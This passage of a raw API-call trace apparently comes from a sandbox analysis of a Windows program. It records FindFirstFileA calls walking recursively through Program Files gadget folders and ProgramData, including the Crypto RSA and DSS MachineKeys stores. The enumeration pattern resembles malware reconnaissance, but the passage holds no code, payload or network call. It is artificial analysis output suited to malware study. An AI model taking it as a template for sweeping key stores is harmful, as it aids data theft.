nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60be, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.918] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60be, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.921] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.926] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.927] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.933] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60b8, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.941] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.947] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.952] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.992] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff566, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.992] FindFirstFileA (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0077.993] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.993] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.993] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.994] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.994] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.999] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300031, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.000] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.004] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Application Data\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x3, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.004] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Desktop\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x3, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.004] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Documents\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x3, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.005] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Favorites\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x3, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.005] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520041, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.005] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.005] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.006] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.006] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.010] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0043, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.010] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.010] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.011] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.011] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.012] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.012] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.017] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38646439, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.017] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.018] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.022] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.026] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4970, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.026] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.028] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.032] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.034] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.037] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*.*", lpFindFileData=0x18fa48 | out: 